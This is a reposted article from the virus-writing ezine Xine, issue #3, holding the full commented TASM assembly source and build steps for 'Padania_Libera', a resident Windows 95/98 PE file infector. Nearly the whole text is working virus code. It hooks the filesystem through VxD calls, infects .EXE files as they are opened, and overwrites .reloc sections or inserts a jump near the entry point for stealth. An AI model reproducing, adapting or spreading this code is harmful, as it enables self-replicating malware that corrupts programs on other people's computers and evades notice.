Copy Link
Add to Bookmark
Report

Xine - issue #3 - Phile 202

eZine's profile picture
Published in 
Xine
 · 4 May 2024

 
/-----------------------------\
| Xine - issue #3 - Phile 202 |
\-----------------------------/


;
; Virus Name : Padania_Libera
; Virus Author : b0z0/iKX
; Origin : Padania, 1998
; Platform : Win 95/98
; Target : PE files
; Compiling : TASM 5.0 and TLINK 5.0 should be used
; tasm32 /ml /m3 padlib,,;
; tlink32 /Tpe /aa /c /v padlib,padlib,,import32.lib,
; And then set the PE header so the data section will be loaded
; at C0000000.
; Goodies : This is a TSR PE infector that goes resident by coping itself
; in the unused 1000h at 0c0000000h and then hooks the VxD
; functions. So there isn't any need to search the adresses
; of the APIs. Thanx to Murkry/IkX for the help for this part
; of the virus!
; As for file infection the virus can actually infect the file
; in three simillar ways, depending on the file structure. If
; the victim doesn't have a .reloc section, then the virus will
; just add a new object and put the EIP in PE to point on it.
; If the victim has a .reloc section the virus will overwrite
; this section with its code and change the PE header so it
; doesn't think anymore about the fixup section. After this
; the virus will have two ways of gaining control to that
; position. One is the simple to change the EIP in the PE
; header, while the second is to put a JMP from the body
; of the program to the virus. To find a suitable position
; where to put the JMP the virus will use the original .reloc
; section that contains useful data to find suitable
; instructions. The virus will put the JMP near the original
; EIP, so it is very probable it will be executed (thus
; putting the JMP in a random position should not activate the
; virus too often).
; By overwriting the .reloc it is very probable that the
; filesize of the infected file won't change (very often the
; dimension of the .reloc is anyway > of the virus length)
; thus making this also a sorta stealth add-on.
; Please check the article about Win95/98/32 ideas for more
; explanations and hints about this method.
; Special thanx : to Murkry/IkX for his help with Win95/98/32 stuff!
;

.386

.model flat


InstallFileSystemApiHook = 00400067h
UniToBCSPath = 00400041h
IFSMgr_Ring0_FileIO = 00400032h

peheader = (buffer - start + starthigh)

extrn ExitProcess:PROC

starthigh = 0c0000000h

.data ;the data area

start:
mov eax,0c0001000h ; starting scan location
mov ecx,1000h ; how much bytes to check

vmm_start_loop:
mov ebx,[eax]
cmp ebx,0c0002000h ; should be > of this
jb bad_entry
cmp ebx,0c0020000h ; and not > than this limit
ja bad_entry ; to prevent GPFs

cmp dword ptr [ebx+0ch],' MMV' ; got it?
je got_chain

bad_entry:
inc eax
loop vmm_start_loop

jmp RetToHost

got_chain:
mov ebx,[ebx+30h]
mov eax,ebx
add eax,003ch

push eax
pop dword ptr ds:[(origifs + 2) - start + starthigh]

push dword ptr ds:[eax]
pop dword ptr ds:[vxdoff - start + starthigh]

push (NewHandler - start + starthigh)
pop dword ptr [ebx+3ch]

mov word ptr ds:[int20_place - start + starthigh],020cdh

RetToHost:
inc byte ptr ds:[chktsr - start + starthigh]
ret

NewHandler:

push cs
push dword ptr ds:[vxdoff - start + starthigh]
push dword ptr ds:[vxdoff - start + starthigh]

origifs:
pop dword ptr ds:[12345678h] ; restore orig ifs

pushad

mov eax,(NewFShook - start + starthigh)
push eax
push InstallFileSystemApiHook
call make_vxdcall

add esp,04h
mov dword ptr ds:[oldfsd - start + starthigh],eax

popad
retf

virus_name db 0,'Padania_Libera',0

make_vxdcall:
pop dword ptr ds:[back - start + starthigh]
pop dword ptr ds:[vxdcall - start + starthigh]
int20_place:
int 20h
vxdcall dd 00h
mov word ptr ds:[int20_place - start + starthigh],020cdh
db 68h ; push immediate dd
back dd 00h
ret

author_orig db 0,'by -b0z0/iKX-',0

vxdcall_io:
push IFSMgr_Ring0_FileIO
call make_vxdcall
ret

NewFShook:
push ebp
mov ebp,esp
sub esp,00000020h

push ebx
push esi
push edi

cmp byte ptr ds:[chktsr - start + starthigh],02
je letOrginal

cmp dword ptr [ebp+0ch],00000024h ; open file
jne letOrginal

inc byte ptr ds:[chktsr - start + starthigh]

pushad

mov edi,(filename - start + starthigh)

mov eax,[ebp+10h] ;Primary Data buffer of the IOREQ
cmp al,0ffh
je noneeddriveletter

add al,40h ; create the c:
mov ah,':'
stosw

noneeddriveletter:

db 68h ; push imm dd 00
dd 00h

db 68h ; push imm dd ff
dd 0ffh

mov ebx,[ebp+1ch]
mov eax,[ebx+0ch] ; get input filename
add eax,04h
push eax

push edi

push UniToBCSPath
call make_vxdcall
add esp,10h

add edi,eax
xor al,al
stosb

cmp dword ptr [edi - 5],"EXE."
jne exitvvxd_noatt

mov esi,(filename - start + starthigh)

mov eax,4300h ; get attribs
push eax
call vxdcall_io
pop eax
jc exitvvxd_noatt

push esi
push ecx ; attribs on the stack

inc eax
xor ecx,ecx ; delete attribs
call vxdcall_io
jc exitvvxd

mov eax,0d500h ; open file
xor ecx,ecx
push ecx
pop dword ptr ds:[vxdoff - start + starthigh]
mov ebx,2
mov edx,1
call vxdcall_io
jb exitvvxd

mov ebx,eax ; file handle

mov ecx,04h
mov edx, 03ch ; read pointer to PE header
mov eax,0d600h
mov esi,(peptr - start + starthigh)
push eax
call vxdcall_io
pop eax

mov ecx,400h ; read 1kb of PE
mov edx,dword ptr ds:[peptr - start + starthigh]
mov esi,(buffer - start + starthigh)
call vxdcall_io

cmp dword ptr [esi],04550h ; is PE
jne closefile

cmp dword ptr ds:[esi + 44h],'0z0b' ; already infected?
je closefile

mov eax,0d800h ; get file size in eax
call vxdcall_io
mov dword ptr ds:[filesize - start + starthigh],eax

mov edi,peheader + 0f8h ; on object table

push edi

xor eax,eax
mov ax,word ptr ds:[peheader + 6] ; how many sections

cmp ax,11h ; humm, if so it should not
jb search_reloc ; be enough our 1kb buffer

pop eax ; correct stack and exit
jmp closefile

search_reloc:
cmp dword ptr [edi],'ler.' ; search the .reloc
jne no_rel

cmp word ptr [edi+4],'co'
je got_reloc
no_rel:
add edi,28h
dec eax
or eax,eax
jnz search_reloc

no_reloc_present:
; if no .reloc or .reloc not last one or if we shouldn't put out jump near the
; entry point then we must add an object

inc word ptr ds:[peheader + 6] ; obj number

xor eax,eax
mov dword ptr ds:[relocs - start + starthigh + 4],eax
jmp put_virsize

got_reloc:
; if got .reloc and is the last one then just overwrite this one.
cmp ax,1 ; must be last one!
jne no_rel

mov edx,dword ptr [edi + 14h] ; physical offset where we
; will write virus code
find_rightone:
mov eax,0d600h ; read 208h bytes out of the
mov esi,(relocs - start + starthigh) ; .reloc section
mov cx,208h
call vxdcall_io

mov eax,dword ptr ds:[peheader + 28h] ; orig EIP
and eax,0fffff000h
cmp eax,dword ptr ds:[relocs - start + starthigh]
jbe have_the_one ; got one! or if < then just
; exit, since no near block
; present

add edx,dword ptr ds:[relocs - start + starthigh + 4]
jmp find_rightone

have_the_one:

mov edx,dword ptr [edi + 14h]
mov dword ptr ds:[filesize - start + starthigh],edx

xor eax,eax
mov dword ptr ds:[peheader + 0a0h],eax ; delete fixups infos
mov dword ptr ds:[peheader + 0a4h],eax ; in header

cmp dword ptr [edi + 10h], virus_size ; compare phys. size
ja put_reloc_size

put_virsize:
push virus_size
jmp set_ph_size

put_reloc_size:
push dword ptr ds:[edi + 10h] ; so the physical size
; will fit the real
; size on disk
set_ph_size:
pop dword ptr ds:[(phy_size - start + starthigh)]

no_change_reloc:
pop eax ; begin of objects in mem
sub eax,edi ; so -eax = lenght of all objs
push eax
add eax,dword ptr ds:[peheader + 0f8h + 14h] ; where the first
; object starts

cmp eax,obj_size ; enough space in object table
pop eax
jb closefile ; for object + loader?

neg eax
add eax,(obj_size + 0f8h) ; + PE hdr + our code
add eax,dword ptr ds:[peptr - start + starthigh]
cmp eax,dword ptr ds:[peheader + 54h] ; be sure that enough header
jb enough_header ; is loaded in memory

add dword ptr ds:[peheader + 54h],200h ; so add just enough :)

enough_header:
mov edx,starthigh
sub edx,dword ptr ds:[peheader + 34h]
mov dword ptr ds:[(obj_rva - start + starthigh)],edx

push edi ; location in PeHeader of new section header
mov esi,(object_begin - start + starthigh)
mov ecx,obj_size
rep movsb
pop edi

mov eax,dword ptr ds:[filesize - start + starthigh]

push eax ; save the size
xor edx,edx
mov ecx,dword ptr ds:[peheader + 3ch]
div ecx
sub ecx,edx
pop edx

; Extend the file to the file alignment if needed (of course not if
; overwriting the .reloc)

mov eax,0d601h ; filewrite
mov esi,starthigh

push eax

cmp ecx,dword ptr ds:[peheader + 3ch]
je aligned

add dword ptr ds:[filesize - start + starthigh],ecx
call vxdcall_io ; put alignment
aligned:
pop eax
mov edx, dword ptr ds:[filesize - start + starthigh]
mov dword ptr ds:[edi + 14h],edx

mov ecx,virus_size ; write virus body
push eax
call vxdcall_io

add edx,eax ; write tsr check byte zeroed
pop eax
mov ecx,5
mov esi,(needed_zero - start + starthigh)
call vxdcall_io

mov dword ptr ds:[peheader + 44h],'0z0b'

mov edx,dword ptr ds:[peptr - start + starthigh]

push edx

mov eax,edi
sub eax,(peheader - 28h) ; - offset in mem + our object size
add eax,edx ; EAX = new EIP

push eax ; new EIP
pop dword ptr ds:[(jmp_addr - start + starthigh)]

cmp dword ptr ds:[relocs - start + starthigh + 4],00h
je change_in_pe

mov ecx,dword ptr ds:[peheader + 28h] ; orig EIP
push ecx
and ecx,0fffff000h ; is the same 4k block?
cmp ecx,dword ptr ds:[relocs - start + starthigh]
pop ecx
jne change_in_pe
and ecx,0fffh ; just last 12 bits

push (relocs - start + starthigh + 8)
pop dword ptr ds:[rel_pos - start + starthigh]

another_reloc:
push dword ptr ds:[(rel_pos - start + starthigh)]
pop esi
xor eax,eax
lodsw

or ax,ax ; end of relocs??
jz change_in_pe

push esi
pop dword ptr ds:[(rel_pos - start + starthigh)]

push ax
shr ax,0ch
cmp ax,03 ; 32bit relocation?
pop ax
jne another_reloc
shl ax,4 ; away reloc type
shr ax,4
cmp eax,ecx ; find the first one after the orig EIP
jbe another_reloc ; or just the next one if previous was bad

push eax
in al,40h
shr al,1 ; sorta rnd to select if use this one or no..
no_good: ; so about 50% probability to use this..
pop eax
jc another_reloc

; so EAX has offset to the reloc we want to change

add eax,dword ptr ds:[relocs - start + starthigh] ; RVA in mem

mov ecx,eax

add eax,4 ; on next instruction
push eax
sub eax,dword ptr ds:[jmp_addr - start + starthigh]
sub eax,(mid_jmp - entry_point)
mov dword ptr ds:[edi + return_addr - objname],eax

sub ecx,dword ptr ds:[peheader + 0f8h + 0ch] ; RVA
add ecx,dword ptr ds:[peheader + 0f8h + 14h] ; physical offset

dec ecx ; two bytes before the relocated addr
dec ecx

mov edx,ecx
mov ecx,06h
mov eax,0d600h ; read the orig instruction
mov esi,edi
add esi,(orig_code - objname)
call vxdcall_io

pop eax
xor ecx,ecx

cmp byte ptr [esi],0ffh ; probable 2 byte one?
je check_our_two

cmp byte ptr [esi+1],068h ; push xxxx
jne another_reloc

mov byte ptr [esi],90h ; pad with nop the orig instruction
inc edx ; so must write one byte later
jmp ok_instru

check_our_two:
inc ecx ; so one more byte to write
cmp byte ptr [esi+1],015h ; call [xxxx]
je ok_twob
cmp byte ptr [esi+1],035h ; push [xxxx]
jne another_reloc
ok_twob:
dec eax
ok_instru:
sub dword ptr ds:[(jmp_addr - start + starthigh)],eax

mov esi,(mid_jmp - start + starthigh)
add ecx,05h
mov eax,0d601h
call vxdcall_io

mov byte ptr ds:[edi + end_jump + 1 - objname],07h

jmp rewrite_header

change_in_pe:
mov byte ptr ds:[edi + end_jump + 1 - objname],00h
mov eax,dword ptr ds:[(jmp_addr - start + starthigh)]
xchg eax,dword ptr ds:[peheader + 28h] ; set new eip
add eax,dword ptr ds:[peheader + 34h]
mov dword ptr ds:[edi + oldeiprva - objname],eax ; save old eip

rewrite_header:
xor eax,eax
mov edx,eax
mov ecx,028h
mov ax,word ptr ds:[peheader + 06h] ; objects
mul ecx
add eax,0f8h + obj_size ; + PE + virus loader
mov ecx,eax ; write just the needed
mov esi,(buffer - start + starthigh) ; rewrite header
mov eax,0d601h ; write to file
pop edx
call vxdcall_io

closefile:
mov eax,0d700h
call vxdcall_io

exitvvxd:
pop ecx ; attribs
pop esi ; pointer to filename
mov eax,4301h
call vxdcall_io

exitvvxd_noatt:
popad
dec byte ptr ds:[chktsr - start + starthigh]

letOrginal:

mov eax,[ebp+1ch]
push eax
mov eax,[ebp+18h]
push eax
mov eax,[ebp+14h]
push eax
mov eax,[ebp+10h]
push eax
mov eax,[ebp+0ch]
push eax
mov eax,[ebp+08h]
push eax

db 0b8h ; mov eax,
oldfsd dd 0
call [eax]

add esp,00000018h
pop edi
pop esi
pop ebx
leave
ret

; This is the new object and the virus loader code that will be placed just
; after the objects. the loader is put in this part of memory, because the
; c0000000 can't be written once it has already been, so it is very risky
; putting the loader there

object_begin:
objname db "Padania "
virtualsize dd virus_size
obj_rva dd 00h
phy_size dd 00h
phy_offs dd 00h
needed_zero dd 00h,00h,00h
Character dd 0c0000040h

entry_point:
pushf

cmp byte ptr ds:[chktsr - start + starthigh],0 ; already tsr?
jne getout

cmp dword ptr ds:[orig_code - start + starthigh],"'NDP"
jne getout ; be sure it is our own code up there

pushad

call delta_offset
delta_offset:
pop eax

add eax,(here - delta_offset)
push eax
push starthigh ; jump up to virus code
ret
here:
popad

getout:
popf

end_jump:
jmp from_pe ; will jump depending on the
from_pe: ; type of infection done
db 0b8h ; mov eax
oldeiprva dd offset return
jmp eax ; here is loader execd from PE

from_executable:

orig_code db "PDN'98" ; 6 bytes used for orig code
; when overwriting some code with the jump to the virus
; will be changed on infection. this 6 bytes also
; carries virus origin ;)
db 0e9h ; jump back when placing loader
return_addr dd 00h ; in the middle of the code
end_loader:

mid_jmp db 0e9h ; temp code for the mid jmp gen
endvirus:

;-- end of virus on disk --

jmp_addr dd 00h

chktsr db ?

filename db 100 dup (00)

peptr dd 0
filesize dd 0
buffer db 400h dup (00)
relocs db 208h dup (00)
rel_pos dd 0
vxdoff dd 0

virus_size = (endvirus - start)
obj_size = (end_loader - object_begin)

;------------------------------------------------------------------------------
.code

HOST:
push (entry_point - start + starthigh) ; 1st gen code
ret

return:
push LARGE -1
call ExitProcess

end HOST

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT